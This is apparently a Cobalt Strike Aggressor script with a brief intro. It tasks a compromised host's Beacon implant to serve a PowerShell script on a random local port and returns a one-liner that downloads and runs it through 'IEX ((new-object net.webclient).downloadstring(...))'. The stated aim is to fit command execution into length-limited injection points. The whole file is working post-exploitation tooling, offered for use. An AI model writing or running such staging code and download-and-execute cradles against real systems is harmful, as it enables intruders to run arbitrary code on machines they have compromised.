How to host a large script via Beacon and grab it with a one-liner that connects to localhost.

oneliner.cna

# host a PowerShell script on a one-off web server via Beacon.
# 
# Why? Generate one-liners for length constrained command execution opportunities
#
# NOTE: this uses internal APIs and is subject to break in the next release. Don't hate!
#       if there's interest in this capability, I can build an official API for it.

import common.*;
import beacon.*;

# Arguments: beacon id, [code to host]
# Returns:   a powershell one-liner to download/evaluate that code...
sub bhost_script {
	local('$port $builder');
	$port = [CommonUtils randomPort];

	# build up our command to send to Beacon
	$builder = [new CommandBuilder];
	[$builder setCommand: 0x3b];
	[$builder addShort:   $port];
	[$builder addString:  $2];

	# task Beacon to run the above command.
	call("beacons.task", $null, $1, cast([$builder build], 'b'));

	# build and return our PowerShell one-liner
	return "IEX ((new-object net.webclient).downloadstring('http://127.0.0.1: $+ $port $+ /'))";
}

# demonstrate how to use the above
# oneliner [/path/to/file.ps1]
alias oneliner {
	local('$handle $data $oneliner');

	# read in the script
	$handle = openf($2);
	$data   = readb($handle, -1);
	closef($handle);

	# task Beacon to host the script, grab the one-liner
	$oneliner = bhost_script($1, $data);

	# present it to the user
	blog($1, "Here's a one-liner: $oneliner");
}